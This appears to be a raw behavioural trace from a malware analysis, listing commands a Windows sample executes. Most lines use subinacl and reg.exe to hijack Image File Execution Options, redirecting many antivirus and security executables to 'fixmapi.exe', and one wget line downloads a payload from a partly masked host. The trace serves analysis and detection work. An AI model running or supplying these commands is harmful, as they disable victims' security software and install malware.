'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certsvc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CNTAoSMgr.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctl.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctlx.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CpService.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-aes-sse42.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-sse42.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /gr...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX_AES.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /gra...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\command.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhostgui.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogons.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\igateway.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CcmService.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootsvchost.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bot.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManager.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'<Current directory>\wget.exe' -c http://dr####.freewww.biz/procx64.exe
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerGUI.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerShow.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brutb.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brute.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardBhvScanner.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /gran...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsce.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardScanner.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BusinessMessaging.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeter.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeterConSvc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ByteFence.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Cain.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CcmEventCollector.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boost.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BurstTCPClient.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R ...

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\rer.bat" "
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssvchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\z.tmp" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svncxhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootsvchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esetonlinescanner_enu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McClnUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdtc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\panbss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtest.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfguard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gotopbr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spomua.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smssm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareProtectionClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pricefountainw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stub.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop_Locker" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Plugin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chromodo_updater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\myAgtSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\XTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfeann.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctlx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traycser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TRAYICOC.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scrss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\firewall_rules.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FrameworkService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT-KB890830.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpmapp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWASER.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWAGENT.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GeekBuddyRSP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\launcher_service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tps.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit_manager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows-KB890830-x64-V5.58.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfevtps.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdsafecenter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcGenericHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\networx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seccenter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windefender.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nlas.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svehost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmgmnt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iptray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sfc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdvirth.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\1sass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\native.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCloudCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClamSentinel.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgrr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsaoss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdwtxag.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdagent.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostedAgent.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeterConSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlkeyssrvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spnsrvnt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlsrtsrvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snetcfg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vprot.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bbservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmPfw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DefenderDaemon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssms32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CNTAoSMgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
